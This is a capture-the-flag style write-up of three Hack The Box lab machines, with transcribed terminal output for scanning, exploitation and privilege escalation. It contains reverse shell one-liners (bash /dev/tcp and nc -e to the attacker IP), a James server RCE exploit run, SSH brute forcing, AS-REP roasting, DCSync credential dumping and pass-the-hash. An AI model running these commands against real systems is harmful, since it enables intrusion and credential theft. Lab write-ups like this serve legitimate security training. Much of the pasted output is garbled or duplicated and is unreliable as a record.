# Solidstate Machine

```
bright@kali:~/solidstate$ sudo nmap -sC -sT -A -Pn -sV solidstate.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:19 CET
Nmap scan report for solidstate.htb (10.10.10.51)
Host is up (0.033s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH
                       OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
    2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
    256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
    256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello solidstate.htb (10.10.14.2 [10.10.14.2])
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
 _http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
OS:SCAN(V=7.94SVN%E=4%D=2/7%OT=22%CT=1%CU=39172%PV=Y%DS=2%DC=T%G=Y%TM=67A5C
OS:29D%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)0
OS:PS(01=M53CST11NW7%02=M53CST11NW7%03=M53CNNT11NW7%04=M53CST11NW7%05=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)E
OS:CN(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT
             ADDRESS
    44.15 ms 10.10.14.1
   51.54 ms solidstate.htb (10.10.10.51)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.43 seconds
```

#### nmap1

This only showed the first 1000 ports and didn't show, to show all I ran nmap again to include some ports

```
bright@Mail:-/solidstate* nmap solidstate.htb -p 1000-65500
Starting Nmap 7.945VM ( https://mmap.org ) at 2025-02-07 09:27 CET
Nmap scan report for solidstate.htt [10.10.51)
HOSL is up (0.031s latency).
HOSL is up (0.031s latency).
HOSL is up (0.031s latency).
Nap done: 1 IP address (1 host up) scanned in 15.02 seconds
bright@Mail:-/solidstate* sudo nmap -SC -ST -A -PP -SV solidstate.htb -p 4555
Machine

Nap done: 1 IP address (1 host up) scanned in 15.02 seconds
bright@Mail:-/solidstate* sudo nmap -SC -ST -A -PP -SV solidstate.htb -p 4555
Machine

Starting Nmap 7.945VM ( https://mmap.org ) at 2025-02-07 09:28 CET
Nmap scan report for solidstate.htb (10.10.10.51)
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
4555/tcp open rsip:

1 JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login failed for |
| Service unrecomized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cg i7new-service:

SF-Port4555-TCF:VF-794SVMXI-78D2-7/%Tiese67A5C42A8P-886_64-pc-linux-gnuKr(
SF:Genericlines; /C, 7AMESVA20Remonetx/2024Aministration/x207ol/x2027-03.2.3.2.

SF:Pleasevx20enterx20yourx20loginx20andx20passwordx.noginx20did:\nPass
SF:word:\nlonginx20failedx20forx20x0noginx20andx20forx2020.3.2.2.0.

SF:Pleasevx20enterx20yourx20loginx20andx20passwordxnoginx20did:\nPass
SF:word:\nlonginx20failedx20forx20x0noginx20andx20passwordxnoginx20did:\nPass
SF:word:\nlonginx20failedx20forx20x0noginx20andx20forx20x0.10x1);

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Acgressive Og usesses: Linux 3.10 - (4.1 (998), linux 3.12 (998), linux 3.13 (95%), linux 3.13 or 4.2 (95%), linux 3.16 (95%), linux 3.18 (95%), linux 3.2 - (4.9 (958), linux 4.4 (958), linux 4.8 (958), linux 3.13 (95%), linux 3.13 or 4.2 (958), linux 3.16 (95%), linux 3.18 (95%), linux 3.2 - (4.9 (958), linux 4.6 (958)), linux 4.8 (958), linux
```

#### nmap2

This shows that the serve is running an application that is vulnerable to remote code execution "James Remote Administration tool"

More research provide the exploit and the default root credential as root. I downloaded the exploit. No modification because everything was preconfigured.

```
bright@kali:~/solidstate$ python3 50347.py 10.10.10.51 10.10.14.2 4444
[+]Payload Selected (see script for more options): /bin/bash -i >8 /dev/tcp/10.10.14.2/4444 0>81 &
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 4444
[+]Connecting to James Remote Administration Tool ...
[+]Creating user ...
[+]Connecting to James SMTP server ...
[+]Sending payload ...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 4444 before logging in!
```

#### Exploit

The execution shows that this can only grant a shell if someone login via ssh.

To achieve this, I have to connect to the machine to the application at port 4555 to find users

I changed all the user passwords and tried to access all users email via port 110. However, I only found the email to mindy where the user's credentials was writing in clear text.

```
bright@lkall:-/solidstate$ nc 10.10.10.51 4555

JAMES Remote Administration Tool 2.3.2
Please enter your login and password
login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help
listusers display this help
listusers display this help
listusers display the number of existing accounts
adduser [username] [password] add a new user
verify (username] password] verify (username] delete existing user
setpassword (username) [password] set a user's password
setalias [user] lalias] shows a user's current email alias
unsetalias [user] unsetforwarding [username] shows a user's current email address
showforwarding [username] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection

listusers
stisting accounts 6
user: James
unsets an alias for 'user'
change to another user repository
kills the current JVM (convenient when James is run as a daemon)
quit close connection

listusers
swisting accounts 6
user: James
unsets an alias for 'user'
change to another user repository
kills the current JVM (convenient when James is run as a daemon)
quit close connection

listusers
swisting accounts 6
user: james
unsets john
user: mindy
user: mailadmin
setpassword mindy mindy
Password for mindy reset

Unknown command
exit
```

Change password for mindy

```
bright@kali:-/solidstate$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^''.
OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+0K
pass writeup
+0K Welome mindy
help
-ERR
ls
-ERR
dir
-ERR
list
+0K 2 1945
1 1109
2 836
...
retr 2
+0K Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.150342270399. JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost ybit
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
```

# email to mindy

```
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin∂localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
telnet>
 Connection closed.
bright@kali:~/solidstate$ ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
 The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
Debian GMOJ-FINAX COMES With Moselecter and the permitted by applicable law.

Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\;': command not found
 -rbash: attributestLjava/util/HashMap: No such file or directory
-rbash: L
              errorMessagetLjava/lang/String: No such file or directory
 -rbash: L
 lastUpdatedtLjava/util/Date: No such file or directory
-rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-rbash: $'L\004nameq~\002L': command not found
```

# Cleartext creds for mendy

Immediately, I used those creds to login via ssh, I got a reversed shell

```
bright@kali:~/solidstate$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.51] 47146
bash: cannot set terminal process group (5548): Inappropriate ioctl for device
bash: no job control in this shell
```

foothold

Howerver, even without the exploit. The username and password of mindy can also grant you ssh access when used in this format.

```
bright@kali:~/solidstate$ ssh mindy@10.10.10.51 -t "bash --noprofile"
mindy@10.10.10.51's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
${debian_chroot:+($debian_chroot)}mindy@solidstate:-$
${debian_chroot:+($debian_chroot)}mindy@solidstate:-$
${debian_chroot:+($debian_chroot)}mindy@solidstate:-$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system('nc -e /bin/sh 10.10.14.2 4443')" >> tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ./tmp.py
rm: cannot remove '/tmp/*': No such file or directory
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ps py
error: process ID list syntax error
```

Ssh

# Privilege escalation

Found a writable python file in the opt directory that is scheduled to run process as root.

#### Writablefile

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ps aux|grep py
root 1424 0.0 0.0 2332 576 ? Ss 08:06 0:00 /bin/sh -c python /opt/tmp.py
root 1425 0.0 0.2 9844 5272 ? S 08:06 0:00 python /opt/tmp.py
mindy 1431 0.0 0.0 4736 816 pts/0 S+ 08:06 0:00 grep py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ■
```

#### process

I echoed a command into the file and after some minutes, I got reverse shell as root.

echo "os.system('nc -e /bin/sh 10.10.14.2 4443')" >> tmp.py

```
bright@kali:~/solidstate$ rlwrap nc -nlvp 4443
listening on [any] 4443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.51] 34294
whoami
root
hostname
solidstate
pwd
/root
ls
root.txt
cat root.txt
b170855766664435193322f96816b0c1
```

#### root

#### Servmon machine

```
brightakali:~/servmon$ sudo nmap -sC -sT -A -Pn -sV servmon.htb
Starting Nmap 7.945VN ( https://nmap.org ) at 2025-02-18 12:14 CET
Nmap scan report for servmon.htb (10.10.10.184)
Host is up (0.028s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
   <html xmlns="http://www.w3.org/1999/xhtml
<head>
<title></title>
<script type="text/javascript">
window.location.href = "Pages/login.htm";
</script>
         </head>
<body>
<body>
<body>
         </html>
      NULL:
HTTP/1.1 408 Request Timeout
```

```
1_ AUTHINTO:
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
                                                               Microsoft Windows RPC
                                                             Microsoft Windows netbios-ssn
5666/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T131:24:20
| Not valid after: 2021-01-13T13:24:20
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| iday
```

#### nmap

I used ftp anonymous to login to a machine and downloaded files from nathan and Nadine's directory.

```
bright@kali:~/servmon$ ls
confidential.txt 'Notes to do.txt'
bright@kali:~/servmon$ cat confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadinebright@kali:~/servmon$ cat Notes\ to\ do.txt

1) Change the password for NVMS - Complete

2) Lock down the NSClient Access - Complete

3) Upload the passwords

4) Remove public access to NVMS

5) Place the secret files in SharePointbright@kali:~/servmon$

bright@kali:~/servmon$
```

File downloaded from file server

Port 80 shows that NVMS application is running which is vulnerable to path trasversal, Based on Nadine's note. I was able to use an exploit to access Nathan's Desktop and capture the password.txt file.

https://github.com/AleDiBen/NVMS1000-Exploit/blob/master/nvms.py

Passwords.txt file

I used hydra and bruteforced it for both user. I got initial foothold as Nadine

```
brightakali:-/serwmon$ sudo hydra -l nathan -P pass.txt -s 22 ssh://serwmon.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (
this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-18 13:24:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://servmon.ntb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-18 13:24:56
brightakali:/servmon$ sudo hydra -l nadine -P pass.txt -s 22 ssh://servmon.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (
this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-18 13:25:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] max 1 sasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1
```

#### initlal foothold

## Excalate priviledges

I found a program running on the target that is called NSClient++

```
nadine@SERVMON C:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of C:\Program Files
02/28/2022
           06:55 PM
02/28/2022
           06:55 PM
                        <DIR>
03/01/2022
           01:20 AM
                        <DIR>
                                        Common Files
11/11/2019
           06:52 PM
                        <DIR>
                                        internet explorer
02/28/2022
           06:07 PM
                        <DIR>
                                        MSBuild
02/28/2022
           06:55 PM
                        <DIR>
                                        NSClient++
02/28/2022
           06:46 PM
                        <DIR>
                                        NVMS-1000
02/28/2022
            06:32 PM
                        <DIR>
                                        OpenSSH-Win64
           06:07 PM
02/28/2022
                        <DIR>
                                        Reference Assemblies
02/28/2022
           05:44 PM
                        <DIR>
                                        VMware
11/11/2019
11/11/2019
           06:52 PM
                                        Windows Defender
                        <DIR>
           06:52 PM
                        <DIR>
                                        Windows Defender Advanced Threat Protection
09/14/2018
                                        Windows Mail
           11:19 PM
11/11/2019
09/14/2018
           06:52 PM
                        <DIR>
                                        Windows Media Player
           11:19 PM
                        <DIR>
                                        Windows Multimedia Platform
09/14/2018
            11:28 PM
                        <DIR>
                                        windows nt
                                        Windows Photo Viewer
11/11/2019
            06:52 PM
                        <DIR>
09/14/2018
09/14/2018
           11:19 PM
                        <DTR>
                                        Windows Portable Devices
                                        Windows Security
           11:19 PM
                        <DTR>
02/28/2022 06:25 PM
                                        WindowsPowerShell
                        <DTR>
               0 File(s)
                                       0 bytes
              20 Dir(s)
                           6,117,257,216 bytes free
```

#### NSClient++

#### I checked the version

# nadine@SERVMON C:\Program Files\NSClient++>dir Volume in drive C has no label. Volume Serial Number is 20C1-47A1

#### version

Noticed that the application was exposed to port 8443 and can be seen from external but can only access with a loopback ip 127.0.0.1

Since I cannot access it from the compromised windows target because I don't have access to the GUI. I have to use ssh portforwarding so I can use my kali loopback address on the machine.

ssh -L 8443:127.0.0.1:8443 nadine@servmon.htb

With this, I was able to access the application.

I used this guildeline https://www.exploit-db.com/exploits/46802

to get the password for the application, scheduled a script, and get access as NT Authority on the target.

https://medium.com/@onurinalkac/hackthebox-23-servmon-writeup-7cd356ad39a5

#### Sauna Machine

```
Drightakeli:-/saumas sudo mmap -sC -sT -A -Pn -sV sauna.htb
[sudo] password for bright:
Starting Nmap 7.945Wk (https://nmap.org ) at 2025-02-28 09:58 CET
Nmap scan report for sauma.htb (10.10.10.10.175)
Host is up (0.031s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| _ Potentially risky methods: TRACE
| _ http-title: Egotistical Bank :: Home
| _ Inttp-server-header: Nicrosoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-28 15:58:302)
133/tcp open msrpc Microsoft Windows RPC
133/tcp open methios-ssn
389/tcp open ldap Microsoft Windows RPC
464/tcp open with microsoft-ds?
464/tcp open keyasswd3?
593/tcp open contenting Microsoft Windows RPC over HTTP 1.0
636/tcp open (password)
636/tcp open toperapped
6368/tcp open to
```

#### nmap

I reviewed the web page and found some user information



Fergus Smith





Hugo Bear



AMAZING

# Meet The Team





Steven Kerb

#### team

I copied their names and formatted it naming conventions of today's companies

```
bright@kali:-/sauma$ cat users.txt
Fergus Smith
Now Hore
Shaun Coins
Bowie Taylor
Sophie Driver
Sophie Driver
Sophie Driver
Sophie Driver
Fright@kali:-/sauma$ ./username-anarchy -input-file users.txt --select-format FirstLast,firstLast,first.last,flast > username.txt
bright@kali:-/sauma$ format-plugins.rb fsmith.asp secretsdump.py username-anarchy username.txt users.txt winPEASx64.exe
bright@kali:-/sauma$ cat username.txt
fergus.smith
fergus.smith
fsmith
hugobear
hugo.bear
hugo.bear
hubear
between.kerb
s.kerb
s.kerb
shaun.coins
s.coins
scoins
scoins
bowietaylor
bowie.taylor
b.taylor
btaylor
sophie.driver
s.driver
s.driver
s.driver
s.driver
s.driver
s.driver
s.driver
s.driver
```

#### users

I checked for users that don't have Kerberos pre-authentication enabled by performing ASP-REP attack on the machine using the available usernames.

I found out that user Fsmith does not have the feature enabled. This returned the user kerberos hash.

```
prightakali:-/sauma impacket-GetNPUsers -dc-ip 10.10.10.175 -request EGOTISTICAL-BANK.LOCAL/ -usersfile username.txt -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

vusr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a futur a version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).

now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

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-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-[ kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

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-[ kerbero
```

## Asprep

```
bright@kali:-/sauma$ hashcat —help | grep -1 "kerberos"

| 19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
| 28800 | Kerberos 5, etype 17, DB | Network Protocol
| 28800 | Kerberos 5, etype 17, DB | Network Protocol
| 19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
| 19900 | Kerberos 5, etype 18, DB | Network Protocol
| 19900 | Kerberos 5, etype 18, DB | Network Protocol
| 19900 | Kerberos 5, etype 18, DB | Network Protocol
| 28900 | Kerberos 5, etype 23, TGS-REP | Network Protocol
| 13100 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
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| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 5, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 6, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 7, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 8, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 8, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 8, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, etype 23, Etype 23, AS-REP | Network Protocol
| 13200 | Kerberos 9, et
```

#### crack

```
* Append -0 to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
This can cause your screen to lag.

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This to an cause your screen to lag.

* Append -w 5 to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordits but a large ruleset.

* Update your backend API runtime / driver the right way:
https://hashcat.net/fag/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/fag/wrongdriver

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https://hashcat.net/fag/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/fag/morework

$\frac{\text{Systams.paralfag}}{\text{das}} \frac{\text{das}}{\text{das}} \frac{\text{das}}{\te
```

#### crack2

I got the plaintext password of user fsmith and used it to get initial foothold via winrm

#### foothold

For privesc, I tranfered winpeas to enumerate the machine, I found autologin creds for a user. More enumeration with SHARPHOUND AND BLOODHOUND indicated that the user has DCsync right on the domain.

# Winpeas

```
C:\Users\svc_toanmgr

Eiiiiiiiii Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultDerName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!

Eiiiiiiiii Password Policies
E Check for a possible brute-force
Domain: Builtin
```

# autologin

DCsync right can cause a user to impersonate as a domain controller, use this privilege and request information from another domain controller within the network.

Taken advantage of this write, I ran secrete dump against the DC.

```
[*] Cleaning up...
bright@kali:~/sauna$ python3 secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
      RemoteOperations\ failed:\ DCERPC\ Runtime\ Error:\ code:\ 0\times 5\ -\ rpc\_s\_access\_denied\ Dumping\ Domain\ Credentials\ (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:c77249e38556720e023aebfd9ba60439:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\SWC_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:3826a4b68f2fff863436467e428558300b5926b0d6b34501e5fca433b5cd97ae
SAUNA$:aes128-cts-hmac-sha1-96:7a431189c5072e49c6ee618bd6dd3e50
SAUNA$:des-cbc-md5:104c515b86739e08
```

#### Secretedumap

I got the hash of the domain admin and used it for Pass The Hash attack to access the DC as a Doamin Admin.

#### Admin